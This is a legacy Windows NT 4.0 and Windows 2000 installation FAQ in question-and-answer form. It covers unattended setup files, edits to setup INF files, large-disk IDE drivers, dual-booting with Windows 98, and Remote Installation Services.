Q. During an unattended installation I am prompted for an IP address if 0 is in the given address.

A. If you have an unattended install file with information such as

[TCPIPParameters]
DHCP=NO
IPAddress=200.200.0.200
Subnet=255.255.0.0

You will receive an error dialog during the installation:

"The IPAddress key has an invalid IP address. Please correct the problem after the property sheet is displayed"

If you then click OK the installation will continue.

The bug only applies if there is a 0 in the second or third octet, e.g. xxx.here.orhere.xxx.

Service Pack 2 or later corrected this problem and so to avoid the message replace the tcpcfg.dl_ on your distribution server (the i386 directory) with the tcpcfg.dll from the latest service pack.


Q. How do I map a network drive during an unattended installation?

A. This may be useful if you want to install software, such as a service pack, during installation.

Using the Cmdlines.txt file it is easy to map to a network share. Cmdlines.txt must be stored in the $OEM$ directory under your NT installation area, e.g. i386\$OEM$. A very basic unattend.txt would consist of

[Unattended]
OemPreinstall = yes

The map command should be under the [Commands] section of your cmdlines.txt file, e.g.

[Commands]
".\net use <drive letter>: \\<server>\<share> /user:<domain>\<user> [<password>] /persistent:no"

It is important to add the /user otherwise the system will attempt to use the System account which does not have an actual user account thus the command would fail. The /persistent:no is used as the connection should not be remade at each logon.

One option would be to enable the Guest account and give it access to the share which would mean you could connect at /user:<domain>\Guest which would allow a connection to be made to the share even if the domain controller cannot be contacted.


Q. How can I install Windows 2000 on a machine with less than 64MB of memory?

Q. How can I install Windows 2000 on a machine with less than 64MB of memory? - Windows 2000 only

A. By default you need 64MB of memory installed on the machine to install Windows 2000 Server, however this limitation can be got round.

  1. Copy the Windows 2000 I386 installation structure to a harddisk/network drive.
  2. Edit the file TXTSETUP.SIF located in the root of the I386 structure
  3. Search for RequiredMemory
  4. Edit the line which allows you to change the amount of memory however only change if you know what you are doing!
    RequiredMemory=66584576
  5. Save the file
  6. Install as normal

Be aware that this will not work with upgrades/installs using winnt32.exe, only winnt.exe.


Q. How do I disable the Installation of Exchange during installation?

A. If you want to stop the installation of the Exchange client during installation of NT then perform the following:

  1. Copy the I386 directory from the Windows NT CD-ROM to a directory
  2. In the I386 folder expand the file syssetup.in_
    C:\> expand Syssetup.in_ Syssetup.inf
  3. Rename Syssetup.in_ to Syssetup.old as otherwise the installation will use the compressed version
  4. Edit the file Syssetup.inf and comment out the MSMAIL.INF entry in the [BaseWinOptionsInfs]
  5. Save the file and install as normal

Below is an example of the edited file

[BaseWinOptionsInfs]
accessor.inf
communic.inf
games.inf
imagevue.inf
mmopt.inf
;msmail.inf
multimed.inf
optional.inf
pinball.inf
wordpad.inf


Q. My evaluation period has expired on my NT installation, why?

A. You may have not used your an evaluation CD but if you used setup disks that were created with an evaluation CD then the NT installation will expire after 120 days.

You will get one hours notice with the following

and then one hour later a blue screen of death:

END_OF_NT_EVALUATION_PERIOD (0x98)
Your NT System is an evaluation unit with an expiration date. The trial period is over.

KeBugCheckEx parameters:

  1. The low order 32 bits of your installation date
  2. The high order 32 bits of your installation date
  3. The trial period in minutes

You would then have to restart the computer and would be able to run it for another hour before it crashed again.

To fix this will you need to "upgrade" your installation using a full retail copy of NT, not the upgrade version as it will not "upgrade" NT 4.0 to 4.0. Before performing this upgrade you must ensure you have uninstalled Service Pack 2 or above. If Service Pack 3 or above was installed you must make sure that the following files are not replaced:

  • samsrv.dll
  • samlib.dll
  • winlogon.exe

To ensure the three files above are not replaced copy them from the service pack to your NT installation directory (I386) to the hard disk and expand the files above to the directory.

Microsoft do not supply a utility to tell you if your installation will expire or not, however I have written a utility and for more info see Q. How can I tell if my NT installation is a 120 day evaluation or full?


Q. How do I install on a disk larger than 8GB?

A. The Microsoft supplied generic IDE driver (Atapi.sys) may not be fully compatible with drives larger that 8 GB. This issue only affects IDE-based drives 8 GB and larger however Service Pack 4 includes an updated ATAPI.SYS allowing access to disks greater than 8GB.

Windows 2000 will support (bootable) partitions larger than 8GB provided the booting controllers BIOS supports EXT INT-13 BIOS calls.

The system board BIOS must support and recognize drives larger than 8 GB before Windows NT can access the entire drive. You can verify this ability by entering into the BIOS or contacting your system board manufacturer. To use the SP4 ATAPI.EXE under NT 4.0 perform the following:

  1. Download the updated Atapi.sys from Microsoft's FTP server, ftp://ftp.microsoft.com/bussys/winnt/winnt-unsup-ed/fixes/nt40/atapi/ATAPI.EXE and copy the file to a blank floppy disk.
  2. Run Atapi.exe on the diskette and the new Atapi.sys file will be extracted to the diskette. Label the disk "ATAPI Service Pack 4 IDE Driver." or something along those lines
  3. Boot from the three setup disks supplied with Windows NT Server as per normal.
  4. When asked if you would like setup to detect your mass storage devices, press S so that detection is skipped and you specify a mass storage device.
  5. When setup list devices found, which should list none, press S again and insert the Microsoft ATAPI Service Pack 4 IDE Driver disk and press ENTER twice. After setup reads the disk and list the Microsoft ATAPI Service Pack 4 IDE driver, press ENTER to accept the driver.
  6. Setup will now list Microsoft ATAPI Service Pack 4 IDE Driver as an installed driver. If you have additional drivers for other mass storage devices, press S, if not, press ENTER to continue through setup.
  7. Setup should continue as per normal but it may prompt you to insert the disk labeled "Microsoft ATAPI Service Pack 4 IDE Driver Support Disk" at the copy phase after you have chosen or formatted a partition on a hard drive.

If you are using Microsoft Small Business Server 4.0 or 4.0a, follow these instructions:

  1. Download the updated ATAPI.SYS from Microsoft's FTP server ftp://ftp.microsoft.com/bussys/winnt/winnt-unsup-ed/fixes/nt40/atapi/ATAPI.EXE and copy the file to a blank floppy disk.
  2. Run Atapi.exe on the disk and the new Atapi.sys file will be extracted to the disk. Label the diskette "ATAPI Service Pack 4 IDE Driver."
  3. Copy an updated file to Small Business Server (SBS) disk 2. To do this, rename the file Winnt.sif to Winnt.bak on disk 2. Then copy the Winnt.sif from the I386 folder on SBS CD 1 to SBS disk 2.
  4. Boot from the modified SBS setup disks.
  5. When the computer is booting off of disk 1 and the message "Setup is inspecting your hardware configuration..." is displayed, press F6 on the keyboard. NOTE: This is at a black screen and no visible indicators occur when you press F6.
  6. When prompted, insert the modified disk 2 into the computer. The next screen that appears will prompt you to specify a mass storage drivers. To do that, press the S key and then arrow down to the listing of OTHER.
  7. Insert the Microsoft ATAPI Service Pack 4 IDE Driver disk and press ENTER twice.
  8. After setup reads the disk and list the Microsoft ATAPI Service Pack 4 IDE driver, press ENTER to accept the driver.
  9. Setup will now list "Microsoft ATAPI Service Pack 4 IDE Driver" as a installed driver. If you have any more drivers for other mass storage devices, press S; if not, press ENTER to continue through setup. NOTE: Because we are using a modified version of Winnt.sif, you will be prompted to insert disks 2 and 3 several times.
  10. Make sure you format or convert the partition to NTFS as SBS requires it.
  11. Setup should continue through normally but it will prompt you to insert the disk labeled "Microsoft ATAPI Service Pack 4 IDE Driver Support Disk" at the copy phase after you have chosen or formatted a partition on a hard drive.

Running ATAPI.EXE creates the files below:

  • atapi.sys
  • Disk1
  • oemsetup.inf
  • readme.txt
  • txtsetup.oem

The NT 4.0 SP4 atapi.sys file is neither necessary nor supported for Windows Terminal Server Edition. If you try to use it, you may get a message to the effect that you don't have the necessary component installed. As long as you stick to the 2GB/8GB install limits, this extension is not necessary.

Apparently, Microsoft refuses to support booting NT from any partition bigger than 8 GB for SCSI. The newer Adaptec 2940U2W cards are set up so that NT cannot be booted if the partition is larger than 8 GB, but unfortunately the older Adaptec cards still allow this largely undocumented "mistake" to occur.

Do not use Partition Magic prior to version 3.03 on a big disk; it doesn't understand the new INT 13 extensions and it can destroy your hard drive.

NOTE: I've been informed that with the "ASUS P3B" Motherboard-series you can't use this solution, it simply won't boot with IDE from that motherboard-series.


Q. How can I stop the installation of My Briefcase during NT installation?

A. Its possible to stop the installation of the syncapp.exe which is responsible for the "My Briefcase" icon by editing two files.

  1. Copy the I386 folder from the NT installation CD to a harddisk
  2. Use Notepad to open the file Layout.inf file in the root of I386.
  3. Search for syncapp.exe and place a semi-colon in front of it:
    ;syncapp.exe=1,,28672,,,,,2,0,0
  4. Save the file. Now edit the file Txtsetup.sif using notepad, again in the root of I386
  5. Search for syncapp.exe and place a semi-colon in front of it:
    ;syncapp.exe=1,,,,,,,2,0,0
  6. Install as normal

If you wanted to enable the installation of My Briefcase again edit the files layout.inf and txtsetup.sif and remove the semi-colon in front of syncapp.exe.


Q. How can I stop the installation of Exchange during NT installation?

Q. How can I control which accessories are installed during an unattended installation?

A. Its possible to configure applications to either be installed as

  • Manual only
  • Typical or custom
  • Typical, custom or portable

This can be done by editing the corresponding .inf file for the application. The list of .inf files are listed in syssetup.inf:

  • accessor.inf
  • communic.inf
  • games.inf
  • imagevue.inf
  • mmopt.inf
  • multimed.inf
  • optional.inf
  • pinball.inf
  • wordpad.inf

Many .inf files have multiple applications defined in it and are shown with [<application>]

  1. Copy the I386 folder from the NT installation CD to a harddisk
  2. Expand the .inf file you want to edit and rename the original name
    C:\I386> expand accessor.in_ accessor.inf
    C:\I386> rename accessor.in_ accessor.sav
  3. Use Notepad to open the file <name>.inf file
  4. Find the section for the application, e.g. [CLOCK] in accessor.inf
  5. Find the InstallType line and change to
    0 for Manual only
    10 for Typical or Custom
    14 for Typical, Custom or Portable
    For example
    [Clock]
    OptionDesc=%Clock_DESC%
    Tip=%Clock_TIP%
    IconIndex=66 ;Windows mini-icon for dialogs
    Parent=AccessTop
    InstallType=14 ;Typical, Portable, Custom
  6. Save the file
  7. Install as normal


Q. How do I use SmartDrv?

A. Why am I talking about the MS-DOS SmartDrv utility? Well if you use the WINNT.EXE installation method for NT and do not use SMARTDRV the installation will take multitudes of times longer than if you do use it.

At the most basic you may create a DOS bootable disk (format a: /s from DOS) that just maps to a network drive and starts the installation. To take advantage of SMARTDRV copy onto the disk the files:

  • SMARTDRV.EXE
  • HIMEM.SYS

You should then edit (or create) the file AUTOEXEC.BAT and add the line

<path>smartdrv.exe /q
e.g. a:smartdrv.exe /q

Now edit (or again create) the file CONFIG.SYS and add the line

device=himem.sys

Himem.sys is needed by smartdrv and allows access to higher areas of memory.

This applies equally to locally installed copies of DOS however SMARTDRV.EXE is automatically installed but make sure you are using it by looking at autoexec.bat.

Also adding the line

BUFFERS=99

to CONFIG.SYS on the bootable disk can speed up operations.


Q. How can I upgrade a NFR NT installation to full Retail?

A. Unfortunately there is no supported upgrade mechanism, you have to perform a new installation and then reinstall your applications.

In practice however many people have successfully booted off the full commercial release boot disks and upgraded the install, reapplied service packs and hotfixes and not experienced any problems. The choice is yours.

If you are replacing a domain controller install a fresh copy as a backup domain controller and then upgrade to domain controller. Below are some links that may help you.

  • How can I tell if my NT installation is a "Not For Resale" installation?
  • How can I move shares and their contents from one machine to another?
  • How can I move users from one machine to another?
  • How can I copy files and keep their security and permissions?


Q. How can I stop IE 2.0 being installed as part of installation?

A. By default, Internet Explorer 2.0 is installed when you install Windows NT. To stop this perform the following:

  1. Copy the I386 directory from the Windows NT 4.0 CD to a hard disk drive.
  2. Expand the Syssetup.in_ to Syssetup.inf
    NOTE: Expand.exe must be run from within Windows NT, that is, expand Syssetup.in_ to Syssetup.inf
  3. Rename Syssetup.in_ to Syssetup.old. By default, Setup will use the compressed version if both exist.
  4. Open Syssetup.inf and search for Iexplore.inf and insert a semicolon in front of Iexplore.inf.

The change should be as follows:

[Infs.Always]
; iexplore.inf,DefaultInstall


Q. How can I remove the Linux LILO Boot Manager?

A. Linux has its own boot manager which is stored in the Master Boot Record (MBR) which allows dual booting between Linux and other operating systems (such as NT).

To remove LILO from within Linux use the command below if LILO is installed on the MBR of the master drive on the primary IDE controller:

lilo -u /dev/hda

To remove from a SCSI drive use /dev/sdan where a is which drive in the chain (so a is the first) and n is which partition on the drive (starting with 1), n can be left off if there are not multiple partitions on the drive, e.g.

lilo -u /dev/sda

If Linux is no longer installed it can be removed by booting to DOS and typing the command

C:\> fdisk /mbr

You may want to backup the MBR first using the Resource Kit utility DISKSAVE.EXE.


Q. How can I recreate the Windows NT installation disks?

A. To recreate the installation disks perform the following:

  1. Start-up an operating system (dos, wfw, windows 9x or NT)
  2. Insert the NT installation CD
  3. Start a command session (command.com or cmd.exe if NT)
  4. Move to the i386 folder
  5. If you are running NT or Windows 9x enter the command
    C:\> winnt32 /ox
    Any other 16 bit operating systems type
    C:\> winnt /ox
  6. You will be asked to insert 3 disks
  7. Done!

If you want to create Windows 2000 start-up disks perform the following:

  1. Again start-up an operating system
  2. Insert the 2000 installation CD
  3. Start a command session (command.com or cmd.exe if NT)
  4. Move to the BOODISK folder
  5. Type the command
    C:\> makeboot a:
  6. You will have to insert 4 disks
  7. Done


Q. I have Windows 98 installed on C: with FAT32, how do I install NT?

A. Windows 2000 can read FAT32 with no problems and so installing Windows 2000 on a machine whose active partition (C:) is FAT32 requires no special steps.

Windows NT cannot read FAT32 and so special steps are necessary:

  1. Create a primary partition at the beginning of the drive - Win98 has to install into the first partition for this to work (see notes below).
  2. Mark this partition Active, install Win98 then convert the partition to FAT32. If you don't convert to FAT32, NT will try to install its loader files into this first partition. If this happens, you won't be able to convert Win98 to FAT32 later on because NT won't be able to boot.
  3. Start the NT installation and use setup to create a new partition after the Win98 partition. NT will give you a message something like, "NT needs to temporarily disable the other OS before the installation can continue". All this does is change the active partition to the new NT partition. This is actually want you want so it is OK.
  4. Install NT and convert the partition to NFTS.
  5. Using "Disk Administrator", change the active partition to the Win98 partition. You may find NT actually alters the boot.ini file to point to the 98 partition, making NT unbootable so check the file and edit if necessary before shutting down.
  6. Boot into Win98 and using DEBUG.EXE, execute the following debug script:
    L 100 2 0 1
    n bootsect.f32
    rcx
    200
    w
    q
    Debug script
  7. Copy the bootsect.f32 to a floppy disk which is created in your current directory
    C:\> copy bootsect.f32 a:
  8. Use FDISK to set the active partition back to the NT partition
  9. Boot to NT and copy the bootsect.f32 file into the root of C:
  10. Add the following line to the end of the C:\BOOT.INI file. You will need to remove the system and readonly attributes:
    C:\>attrib c:\boot.ini -r -s
    The line to be added is:
    c:\bootsect.f32="Windows 98"
    Now set the permissions back on boot.ini
    C:\>attrib c:\boot.ini +r +s
  11. Reboot NT and you should now have an option for "Windows 98"

It would also be possible to take a copy of the Windows 98 boot sector by using DiskProbe (from the resource kit) and saving the first sector of the partition to a file.

Some people have reported problems and an alternate approach is possible as defined by Paul Franzes

"I installed WINNT4 first with NTFS.then I rebooted with a Win98 bootfloppy. Created a partition using FDISK. Made the win98 partition active. Rebooted ,formatted & installed windows98 in the fat32 partition. ran the debug & copied the file to a floppy. Then went again to FDISK and made the NTFS partition active. Booted to winnt & copied the file to c:\ and edited the boot.ini accordingly."

You may find that putting the Win98 partition at the END of the disk works better, because of Windows NT's 2GB boot code boundary.


Q. How can I stop the 'Welcome to Windows NT' screen during setup?

A. Normally when a user logs on for the first time a splash screen is displayed welcoming the new users. This can be disabled in a number of ways.

Method 1

  1. Copy the I386 directory structure from the Windows NT installation CD to a distribution server
  2. Create the Unattend.txt file as normal
  3. In the I386 directory on the distribution server rename the file Welcome.ex_ to Welcome.bak
    C:\> rename welcome.ex_ welcome.bak
  4. Create a backup of the file Txtsetup.sif file (which is also in the I386 directory) to Txtsetup.bak
  5. Edit Txtsetup.sif and place a ; in front of the welcome.exe line, so the line
    welcome.exe=1,,,,,,,1,0,0
    becomes
    ;welcome.exe=1,,,,,,,1,0,0
  6. Save the modified file.
  7. Create a backup of Dosnet.inf (again in the I386 directory) to dosnet.bak
  8. Edit Dosnet.inf and again place a ; in front of the welcome.exe line, so the link
    d1,welcome.exe
    becomes
    ;d1,welcome.exe
  9. Save the modified file
  10. Perform the unattended installation from the distribution share

The above just stops the installation of the welcome.exe image and so stopping it from executing. An alternative is to create a registry script that runs during installation which disables the Welcome dialog.

Method 2

  1. As before copy the I386 directory from the NT CD to a distribution server
  2. Create an unattend.txt file as per normal
  3. Create a directory called $oem$ under the I386 directory on the distribution server
  4. In the $oem$ directory create a file called cmdlines.txt and enter the following lines:
    [Commands]
    ".\regedit /s nowelcom.reg"
  5. Again in the $oem$ directory create a file called nowelcom.reg with the following lines (keep the blank line):
    REGEDIT4

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Explorer\Tips]
    "DisplayInitialTipWindow"=dword:00000000
    "Show"=hex:00,00,00,00
    "Next"=hex:03,00
  6. Copy the file regedit.exe from the I386 directory into the $oem$ directory
  7. Perform the unattended installation from the distribution share


Q. I receive an error message "The System is not fully installed", what can I do?

A. This is normally caused by using SYSPREP with a 3rd party network client and is caused by a registry entry being incorrectly updated.

To correct you will need to install a second copy of NT onto the system and perform the following:

  1. Boot into the second copy of NT
  2. Start the registry editor (regedt32.exe)
  3. Select HKEY_LOCAL_MACHINE
  4. From the Registry menu select 'Load Hive'
  5. Move to the %systemroot%\system32\Config directory of the primary NT installation and select the System file. Click Open
  6. Type any name for the key, e.g. "System primary" and click OK
  7. Double click the new hive, expand Setup and double click SystemSetupInProgress
  8. Change from 1 to 0. Click OK
  9. Select the key created in step 6 and select 'Unload Hive' from the Registry menu
  10. Close the registry editor and reboot into your primary installation.


Q. How do I add a Network Install tab to Windows NT 4.0?

A. Windows 2000 provides built in ability to publish applications to users, groups of users and domains however some of this functionality is still possible with Windows NT 4.0.

It's possible to add a Network Install tab to the 4.0 based clients with a list of installable applications as follows:

  1. Copy the file apps.inf from the %systemroot%\inf directory of a server to a network share on a server
  2. Open the copied version of apps.inf and insert the lines in red (although
    your applications and their locations will be different)
[Version]
Signature = $Chicago$
ClassGUID={00000000-0000-0000-0000-000000000000}
LayoutFile = layout.inf

[appinstalllist]
Office 2000=\\titanic\Apps\off2000\setup.exe
Paint Shop Pro=\\titanic\Apps\psp\setup.exe

[PIF95]
123.COM=%123.COM%,moricons.dll,50,,123.COM
..

The clients need to be configured to look at the updated apps.inf file on the server by a registry update:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
  3. From the Edit menu select New - String Value
  4. Enter a name of AppInstallPath
  5. Double click the new value and set to the location of the shares apps.inf file, e.g. \\titanic\inffiles\apps.inf
  6. Close the registry editor

Starting the Add/Remove Programs control panel applet will now show a new Network Install tab.

Obviously editing the registry on every client will be time consuming and so if you implement system policies you can include this as part of the policy using the following .adm file:

CLASS MACHINE

 CATEGORY "Network Install"
  POLICY "Location of the Network install information"
   KEYNAME SOFTWARE\Microsoft\Windows\CurrentVersion
   PART "Locations" EDITTEXT
   VALUENAME "AppInstallPath"
   DEFAULT \\SERVER\INFSHARE\APPS.INF
   END PART
   PART "Create Network Install ability" TEXT END PART

  END POLICY
 END CATEGORY ;


Q. How can I disable the 'Configure Server Wizard' in Windows 2000?

A. When a user logs onto a 2000 machine for the first time the Configure Server Wizard may start however it is possible to disable this by deselecting the 'Show this screen at startup' box however you may want for this dialog to NEVER be shown.

To disable for an existing installation for any new users perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Setup\Welcome
  3. Double click srvwiz and set to 0. Click OK
  4. Close the registry editor

If you want to disable at installation time perform the following:

  1. Copy the contents of the installation folder (I386) to a share
  2. On the distribution share, locate the Hivedef.inf file
  3. Search for srvwiz. Edit the line
    HKCU,"Software\Microsoft\Windows NT\CurrentVersion\Setup\Welcome","srvwiz",0x00010003,1
    change the end value 1 to 0.
    HKCU,"Software\Microsoft\Windows NT\CurrentVersion\Setup\Welcome","srvwiz",0x00010003,0
  4. Save the file

Any installations installed from this distribution point will not display the configure server wizard.


Q. How do I install the Remote Installation Service?

A. Windows 2000 introduces the Remote Installation Service which is a DHCP-based remote boot technology used to install an OS on a client’s local hard disk from a remote source (CD or Sysprep image on a server share). A network boot can be initiated by either the system BIOS, a specific function key, or by a special remote boot floppy provided for existing non manageable (ROM-less) client computers.

You must have a DNS, a DHCP and a directory services server on the network before installing. Also RIS does not currently support either the Distributed or Encrypted File Systems.

To install on a server perform the following:

  1. Start the Add/Remove Programs control panel applet (Start - Settings - Control Panel - Add/Remove Programs)
  2. Click the 'Add/Remove Windows Components' button on the left hand side of the dialog
  3. Click Next to the Components Wizard dialog
  4. Check the 'Remote Installation Services' option and click Next
  5. You will need to insert the Server CD-ROM
  6. Click Finish
  7. Click Close to the main dialog
  8. You will be asked to reboot the computer

Once the reboot has finished you need to complete the installation as follows:

  1. Start the Add/Remove Programs control panel applet (Start - Settings - Control Panel - Add/Remove Programs)
  2. Click the 'Add/Remove Windows Components' button on the left hand side of the dialog
  3. Under 'Set up services' click Configure in the 'Configure Remote Installation Services' area (you can start the wizard directly by running RISETUP.EXE)
  4. Click Next to the Welcome screen
  5. You will be asked for a location of the RemoteInstall path, by default d:\remoteInstall. This drive must be NTFS and NOT the system or boot partition. Click Next
  6. Enter the location of the Windows Professional files (a disk or network share), for example f:\i386. Click Next
  7. Enter a folder name to store the installation (by default win2000.pro). Click Next
  8. Enter a friendly description for the installation and help text. Click Next
  9. A summary will be shown detailing the source, destination and OS version. Click Finish
  10. The files will be copied from the source to the destination and the trivial FTP (tftpd) and NetPC Boot Service Manager services (binlsvc) installed and started
  11. Click Done once complete

If the server is not already DHCP authorized you will need to authorize it (even if its not a DHCP server), see 'Q. How do I authorize a DHCP server in Windows 2000? '.

The server is now ready to provide a network based installation for Windows 2000 professional using a standard Microsoft provided template file. This can be changed however. If you right click on the server and select Properties within Active Directory Users and Computers MMC snap-in you will see a new tab 'Remote Install' which is used to manage the service.

Extra information:

The reason the RemoteInstall path cannot be the boot or system partition is that not only will this volume get accessed heavily by remote clients but the SIS (Single Instance Store) service runs on this volume. If the volume is utilized is the system/boot volume, the SIS service could not run.

SIS reduces the amount of disk space required on these volumes by removing duplicate files and placing the data in a common directory. The duplicate files are then truncated into Reparse points that refer to the common directory for the file data.


Q. How do I move the distribution point for Remote Installation Services?

A. To move the distribution point for the Remote Installation Service perform the following actions. The destination must still be NTFS and NOT the boot or system partition.

  1. Stop both the trivial FTP and NetPC Boot Service Manager services
    C:\> net stop binlsvc
    C:\> net stop tftpd
  2. Copy the remoteinstall directory from the current drive to the destination
    C:\> xcopy <current drive>:\remoteinstall <dest drive>:\remoteinstall
  3. Delete the old reminst share
    C:\> net share reminst /d
  4. Recreate pointing to the new location
    C:\> net share reminst=<new drive>:\remoteinstall
  5. Invoke the RIS self check mechanism (the wizard will be started, click Next and then Finish)
    C:\> risetup -check
  6. Restart the services
    C:\> net start binlsvc
    C:\> net start tftpd

If you get an error from the client such as 'file not found', change HKEY_LOCAL_MACHINE\System\CCS\Services\Tftpd\paramters\Directory to point to the new directory (<new drive>:\RemoteInstall)

Installation images stored in locations other than \\<server name>\<share name>\RemoteInstall\Setup\<language>\Images and referenced through junction points are not acted upon by the Single Instance Storage (SIS) groveler agent and may use extra disk space.


Q. How do I create a bootable Remote Installation Service client disk?

A. A special utility is used to create a boot disk to allow clients without PXE (Pre-boot eXecution Environment) to boot and install using the Remote Installation Service (providing they have a support NIC).

To create the boot disk perform the following:

  1. Click Start and select Run
  2. Type
    \\<RIS server name or IP address>\RemoteInstall\Admin\I386\RBFG.EXE
  3. Select the disk drive (A or B)
  4. Insert a floppy disk
  5. Click 'Create Disk'
  6. Click 'No' to create another disk

You can now use this disk to boot a machine. To check which adapters it supports click the 'Adapter List' button in the RBFG utility.


Q. What operating systems can I clone?

A. Below is a brief summary of each operating systems ability to be cloned:

Windows 95

Windows 95 was not designed to support disk-image copying and is not supported although copying on systems with similar hardware should work.

Windows 98

Windows 98 duplication is supported if the Microsoft Windows 98 Image Preparation Tool is used to prepare the master disk image.

Windows NT Workstation and Server 4.0

Microsoft supports cloning as a method of distribution in the following scenarios but NOT domain controllers:

  1. The master disk is copied at the end of the text portion of setup but BEFORE the GUI phase begins. This is because a local SID has not yet been created and no major specific hardware specific configuration has been completed.
  2. The master system has the system preparation tool users and then cloned and the target system has identical hardware.

Windows 2000 Workstation and Server

As with 4.0 but with the 2000 version of SYSPREP.EXE


Q. How can I configure the Remote Installation Service options?

A. To configure a RIS server perform the following:

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Select the computers container
  3. Right click on the computer and select Properties
  4. Select the Remote Install tab
  5. You can now select the clients that the server responds to and can also select to let the service perform a self check by clicking 'Verify Server'. Clicking Advanced Settings allows rules for new computer names to be set and also extra images and tools can be added

Client options are configured using the domain/site/OU policy object and is this example we look at the domain GPO

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the domain and select Properties
  3. Select the 'Group Policy' tab.
  4. Select the domain policy object and click Edit
  5. Expand the User Configuration\Windows Settings\Remote Installation Service
  6. Double click 'Choice Options'

    Allow and Deny are obvious but 'Don't care' means let other policies take effect (as many times you will have multiple GPO's affecting a single client)
  7. Make any changes
  8. Click Apply then OK

Once you have made the changes force a reload of the policy

C:\> secedit /refreshpolicy user_policy


Q. How can I install using the Remote Installation Service disk?

A. To install using the RIS disk perform the following:

  1. Insert the RIS disk
  2. Reboot the computer
  3. Upon reboot it will boot off of the disk and you should press F12 for a network book
  4. A DHCP address will be negotiated and a welcome screen shown. Press Enter
  5. Enter a username, password and domain. The user must have the "logon as batch" user right only if installing a version of Windows 2000 older than Release Candidate 1.
    Client Installation Wizard

    Type a valid user name, password and domain name. You may use the
    Internet-style logon format (for example: Username@Company.com).

    User name: [savillj   ]
    Password: [pass]
    Domain name: [savilltech.com]
  6. Depending on the options configured in the group policy object you may have options to:
    - Automatic Setup
    - Custom Setup
    - Restart a Previous Setup Attempt
    Press Enter
  7. If you have more than one client image you can select the image to install. Press Enter
  8. A warning that all data will be deleted will be shown. Press Enter
  9. The computer account name and a Global Unique ID will be shown. To start installation press Enter
  10. The normal installation actions of NTDETECT will start and NT installation commence


Q. How do I create a new Remote Installation Service image?

A. Its possible to create new images based on existing installations which has the advantage of having applications already installed and configured. To configure the new image perform the following:

  1. Create a 2000 Professional installation with applications installed. Both the system and boot partition must be the same partition, e.g C:
  2. Logon to the machine as an Administrator
  3. Run the RIPrep image from the RIS server (Start - Run - \\<RIS server>\REMINST\Admin\i386\riprep.exe), e.g \\titanic\REMINST\Admin\I386\riprep.exe
  4. Click Next at the welcome dialog
  5. Enter the server name of the RIS server. Click Next
  6. Enter a folder name for the new install, e.g. 2000andapps. Click Next
  7. Enter a friendly description and help text. Click Next
  8. Any running applications will be displayed and you will be asked to stop them. Click Next after stopping them
  9. A summary of the remote installation server and folder name will be displayed. Click Next
  10. A screen explaining the next step will be shown. Click Next to begin the image preparation
  11. The program will verify the Windows version, check the partitions are OK and then copy files to the RIS server, this may take some time
  12. The machine will then shutdown and you may reboot and use as normal

If you examine the RIS server you now have an extra client image.


Q. How do I create a bootable Windows 2000 installation CD-ROM?

A. Its possible to create a bootable CD-ROM from the basic I386 structure. This is useful since Microsoft are release many builds of Windows 2000 and creating a bootable CD may be useful. This will also work with the finished version of 2000 (but the CDROM_IS.5B3 name will change).

You will require version 3.7D of CDRWIN from http://www.goldenhawk.com and will need to load the necessary ASPI drivers. The free download version is fully functional but will only write at 1 speed.

Before starting the CD creation create a directory and copy into it the I386 structure of 2000 and the CDROM_IS.5 file from the Beta 3 CD-ROM. As of Release Candidate 2 the name is CDROM_IS.5. You can check which CSROM_IS file its expecting by looking at file i386\layout.inf, for example:

[Version]
signature="$Windows NT$"
ClassGUID={00000000-0000-0000-0000-000000000000}

[SourceDisksNames]

_x = %srvcd%,\cdrom_is.5,,""
_1 = %srvcd%,\cdrom_is.5,,""
_2 = %srvcd%,\cdrom_is.5,,""
_3 = %srvcd%,\cdrom_is.5,,""
_4 = %srvcd%,\cdrom_is.5,,""
etc...

Now you have a directory on disk with the I386 structure and the CDROM_IS.5 file. I've created a copy of this file and the boot sector of the CD-ROM in file BOOTCD.ZIP which will allow you to skip steps 1 to 5 below.

  1. Start the CDRWIN program
  2. Insert your old beta 3 CD-ROM
  3. Select the 'Extract Disc/Tracks/Sectors' option (3rd button from left on top row)
  4. Select extract mode 'Select Sectors'. Enter a image file name, e.g. c:\cdsector.bin. Leave the file format as automatic and set the sector selection to start 20, end 20 and datatype 'Mode1 (2048). Click Start
  5. Click OK to the success message and close the extract dialog
  6. Now select 'File Backup and Tools' CDRWIN option
  7. Select the option to 'Build and Record an ISO9660 Image File'. Click Add and select your server directory. Enter an ISO9660 image file, e.g. ntsrv2072.

    Select the options as shown in the above image.
  8. Click Advanced Options.
  9. Under Volume Label type 'NTSRV2072' (if it was build 2072)
  10. Select the 'Bootable Disk' tab
  11. Check the 'Make bootable disc', media emulation 'Custom'. The image file should be the file created in step 4. Enter developer name of 'Microsoft Corporation', Load Segment '07C0' and Load Sector Count '4'. Click OK
  12. Click Start to begin making the CD

Once CD completion is complete you will have a file where you specified the ISO9660 Image File of around 400MB which may be deleted (its just the ISO image that was copied to the CD).

You will now be able to boot with the CD (providing the motherboard and bios support CD-ROM booting). I tested the above on build 2072 of Windows 2000.

Thanks to Joseph R. Worrall who come up with most of the above originally for Beta 2 and I've just updated it for build 2114 and the final version.


Q. Where is Setup Manager in Windows 2000?

A. Windows 2000's includes Setup Manager which can be used to create distribution scripts for various types of installation including:

  • Windows 2000 Professional Unattended installation
  • Windows 2000 Server Unattended installation
  • Remote Installation Services
  • Sysprep installation

The tool is shipped with the Resource Kit and is contained in the deploy.cab as setupmgr.exe and can be extracted using a utility such as WINZIP. It is self contained and does not require installation, you can just run the image which will then start a wizard which allows you to specify the information you require.


Q. What is the Microsoft Installer Package format?

A. Windows 2000 introduces the concept of publishing applications using the Active Directory however to support this new ability the application has to be supplied with a new type of installation file, a .MSI file which is of the Microsoft Windows Installer Server package format..

These MSI files include information about registry entries, core files etc and a summary of the application details such as name, publisher. This knowledge of the registry entry and file usage means if when the application starts and it detects that a registry entry is missing or a core file gone it can automatically re-download information from the distribution server and fix itself.

